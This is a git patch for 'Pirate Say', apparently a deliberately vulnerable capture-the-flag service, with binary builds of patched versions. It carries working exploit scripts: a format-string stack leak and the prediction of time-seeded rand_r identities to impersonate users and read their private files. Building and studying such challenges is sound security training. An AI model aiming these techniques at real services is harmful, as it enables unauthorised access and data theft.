From 736e4fd9bc87d773b04cc73c36bc59fbd5ea48e8 Mon Sep 17 00:00:00 2001 From: Christian Templen Grave Date: Tue, 16 Jul 2024 19:19:40 +0200 Subject: [PATCH] bambixploits and first version of binary patches --- debug/bambixploit_exploit1.py | 7 +- debug/bambixploit_exploit2.py | 49 ++++++++++--- debug/bambixploit_state_getter.py | 88 +++++++++++++++++++++++ documentation/README.md | 7 +- documentation/piratesay_fully_patched | Bin 0 -> 62056 bytes documentation/piratesay_patched_exploit2 | Bin 0 -> 62056 bytes service/entrypoint.sh | 2 +- service/src/a.py | 6 +- service/src/rand_finder.c | 40 +++++++++++ service/src/server.c | 4 +- 10 files changed, 182 insertions(+), 21 deletions(-) create mode 100644 debug/bambixploit_state_getter.py create mode 100755 documentation/piratesay_fully_patched create mode 100755 documentation/piratesay_patched_exploit2 create mode 100644 service/src/rand_finder.c diff --git a/debug/bambixploit_exploit1.py b/debug/bambixploit_exploit1.py index 0690ba7..6d7433e 100644 --- a/debug/bambixploit_exploit1.py +++ b/debug/bambixploit_exploit1.py @@ -13,7 +13,8 @@ import requests -TARGET = sys.argv[1] # The target's ip address is passed as an command line argument +TARGET = "10.1.6.1" # Actual target, since for the perma setup it is only running on one host +ATTACK_INFO_TARGET = sys.argv[1] # The target's ip address is passed as an command line argument PORT = 4444 def recv_until_prompt(s, prompt): @@ -49,7 +50,7 @@ def exploit(hint: Optional[str], flag_store: Optional[int]): recv_until_prompt(s, b': ') # Send the format string exploit as the password - s.sendall(b'%31$llx.%32$llx\n') + s.sendall(b'%26$llx.%27$llx\n') incorrect_message = recv_until_prompt(s, b'$ ').decode() # Extract the two addresses from the incorrect message @@ -71,7 +72,7 @@ def exploit(hint: Optional[str], flag_store: Optional[int]): # Bambi CTF / ENOWARS flag hints: attack_info = requests.get('http://10.0.13.37:5001/scoreboard/attack.json').json() service_info = attack_info['services']['piratesay'] -team_info = service_info[TARGET] # Get the information for the current target +team_info = service_info[ATTACK_INFO_TARGET] # Get the information for the current target threads = [] for round_nr in team_info: round_info = team_info[round_nr] diff --git a/debug/bambixploit_exploit2.py b/debug/bambixploit_exploit2.py index 8fb7571..8631a84 100644 --- a/debug/bambixploit_exploit2.py +++ b/debug/bambixploit_exploit2.py @@ -67,12 +67,14 @@ # Load the C standard library libc = ctypes.CDLL(None) -# Set argument and return types -libc.srand.argtypes = [ctypes.c_uint] -libc.rand.restype = ctypes.c_int +# Set argument and return types for rand_r +libc.rand_r.argtypes = [ctypes.POINTER(ctypes.c_uint)] +libc.rand_r.restype = ctypes.c_int -def generate_identity_string(): - return ''.join(chr(ord('a') + (libc.rand() % 26)) for _ in range(IDENTITY_LENGTH)) +def generate_identity_string(state): + state_ptr = ctypes.c_uint(state) + identity_string = ''.join(chr(ord('a') + (libc.rand_r(ctypes.byref(state_ptr)) % 26)) for _ in range(IDENTITY_LENGTH)) + return identity_string, state_ptr.value def get_unix_time_from_string(date_string): # Format of date_string: "2024-07-15 11:35:24" @@ -129,8 +131,17 @@ def recv_until_prompt(prompt): def get_matching_identites(seed, current_identity, target_file): # Generate all potential identities up to the current one - libc.srand(seed) + seed = 491621266 + for i in range(10000000): + identity, seed = generate_identity_string(seed) + if i % 10000 == 0: + print(f"Generated {i} identities") + print("Current seed:", seed) + print("Next is then identity:", identity) + + print("Finished generating identities") potential_identities = [] + iteration = 0 while True: identity_string = generate_identity_string() potential_identities.append(identity_string) @@ -175,22 +186,38 @@ def recv_until_prompt(prompt): return response -TARGET = sys.argv[1] # The target's ip address is passed as an command line argument +TARGET = "10.1.6.1" # Actual target, since for the perma setup it is only running on one host +ATTACK_INFO_TARGET = sys.argv[1] # The target's ip address is passed as an command line argument PORT = 4444 def exploit(hint: Optional[str], flag_store: Optional[int]): print(f'Attacking {TARGET} (flag_store={flag_store}, hint={hint})') # TODO implement exploit + print("Starting") private_dir, private_file = hint.split('/') seed, current_identity = get_seed_and_current_identity(TARGET, PORT) + print("Finished getting seed and current identity") + print(f"Seed: {seed}, Current Identity: {current_identity}") matching_identities = get_matching_identites(seed, current_identity, private_file) + + # In case a service is running for the entire duration of the CTF, + # we will only look at the last 1000 identities + matching_identities = matching_identities[-1000:] + + print("Finished finding matches") + + + responses = [] + for identity in matching_identities: + resp = process_identity(identity, private_file, private_dir, TARGET, PORT) + responses.append(resp) - # Use ThreadPoolExecutor to parallelize the process_identity function - with ThreadPoolExecutor() as executor: - responses = executor.map(lambda identity: process_identity(identity, private_file, private_dir, TARGET, PORT), matching_identities) + # # Use ThreadPoolExecutor to parallelize the process_identity function + # with ThreadPoolExecutor() as executor: + # responses = executor.map(lambda identity: process_identity(identity, private_file, private_dir, TARGET, PORT), matching_identities) # Iterate over the responses to find the flag for response in responses: @@ -203,7 +230,7 @@ def exploit(hint: Optional[str], flag_store: Optional[int]): # Bambi CTF / ENOWARS flag hints: attack_info = requests.get('http://10.0.13.37:5001/scoreboard/attack.json').json() service_info = attack_info['services']['piratesay'] -team_info = service_info[TARGET] # Get the information for the current target +team_info = service_info[ATTACK_INFO_TARGET] # Get the information for the current target threads = [] for round_nr in team_info: round_info = team_info[round_nr] diff --git a/debug/bambixploit_state_getter.py b/debug/bambixploit_state_getter.py new file mode 100644 index 0000000..ac8bb44 --- /dev/null +++ b/debug/bambixploit_state_getter.py @@ -0,0 +1,88 @@ +import ctypes +import re +import socket +import sys +import time + +IDENTITY_LENGTH = 64 + +# Load the C standard library +libc = ctypes.CDLL(None) + +# Set argument and return types for rand_r +libc.rand_r.argtypes = [ctypes.POINTER(ctypes.c_uint)] +libc.rand_r.restype = ctypes.c_int + +def generate_identity_string(state): + state_ptr = ctypes.c_uint(state) + identity_string = ''.join(chr(ord('a') + (libc.rand_r(ctypes.byref(state_ptr)) % 26)) for _ in range(IDENTITY_LENGTH)) + return identity_string, state_ptr.value + +def get_unix_time_from_string(date_string): + # Format of date_string: "2024-07-15 11:35:24" + return int(time.mktime(time.strptime(date_string, "%Y-%m-%d %H:%M:%S"))) + +TARGET = sys.argv[1] # The target's ip address is passed as an command line argument +PORT = 4444 + +def get_seed_and_current_identity(host, port): + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.connect((host, port)) + + # Receive the initial server message + def recv_until_prompt(prompt): + data = b'' + while not data.endswith(prompt): + data += s.recv(1024) + return data + + initial_message = recv_until_prompt(b'$ ').decode() + # Extract the timestamp from the initial message + match = re.search(r'\(Pirate Say v1.0.0, up since (.+?)\)', initial_message) + if match: + seed_string = match.group(1) + seed = get_unix_time_from_string(seed_string) + else: + print("Failed to extract seed from server message") + exit(1) + + # Get the current identity + s.sendall(b'identity\n') + identity_response = recv_until_prompt(b': ').decode() + s.sendall(b'\n') # Keeping current identity + recv_until_prompt(b'$ ') + current_identity = identity_response.split("\n")[0].split(":")[1].strip() + return seed, current_identity + +# 1. Try to read state.txt if it exists +try: + with open("state.txt", "r") as f: + state = int(f.readline()) + match = f.readline().strip() +except FileNotFoundError: + # 1. Get starting seed and current identity by connecting + state, match = get_seed_and_current_identity(TARGET, PORT) + with open("state.txt", "w") as f: + f.writelines([str(state), "\n", match]) + +# 2. Generate identity strings until we find the correct one, print every Nth identity +# start_seed = 1721065234 +N = 100000 +BACK = 10000 +i = 1 +states = [] +while True: + identity, state = generate_identity_string(state) + if identity == match: + print(f"Found matching identity: {identity}") + break + if i % N == 0: + print(f"State at {i}: {state}") + states.append(state) + i += 1 + +# 3. Print the final state +print(f"Match found! State: {state}") +print(f"Storing state {N} steps past, as they might include active flags") +with open("state.txt", "w") as f: + f.writelines([str(state), "\n", match]) diff --git a/documentation/README.md b/documentation/README.md index 7eee576..d869c04 100644 --- a/documentation/README.md +++ b/documentation/README.md @@ -4,15 +4,18 @@ Pirate Say is a TCP-server written in C that presents itself as a pirate-themed - .log files: these are standard log files without any password protection - .treasure files: these files are protected by a password input that contain a format string vulnerability +- .private files: these files are associated with a specific user. However, there is a weekness in using the server's startup time to seed the random numbers. Combined with the option to change your "identity string" when connected, this allows us to pose as other users. # Vulnerabilities ## Vulnerability #1 - Parrot echoes password back - Category: Format string -- Difficulty: Medium +- Difficulty: Easy/Medium -When trying to access .treasure files, the guarding parrot echoes back your words after each attempt. However, her words are printed without format specifiers, meaning the attempted password "%p" would give back a pointer read from the stack. +When trying to access .treasure files, the guarding parrot echoes back your words after each attempt. However, its words are printed without format specifiers, meaning the attempted password "%p" would give back a pointer read from the stack. + +Note: The code specifically prevents against %n by escaping the % (giving us %%n). The code is structured in a way to try to hide it, as it could be a partial give-away. # Exploits diff --git a/documentation/piratesay_fully_patched b/documentation/piratesay_fully_patched new file mode 100755 index 0000000000000000000000000000000000000000..d4655d2d458592870ba0b9d8bc2d9669ac5ebbc8 GIT binary patch literal 62056 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 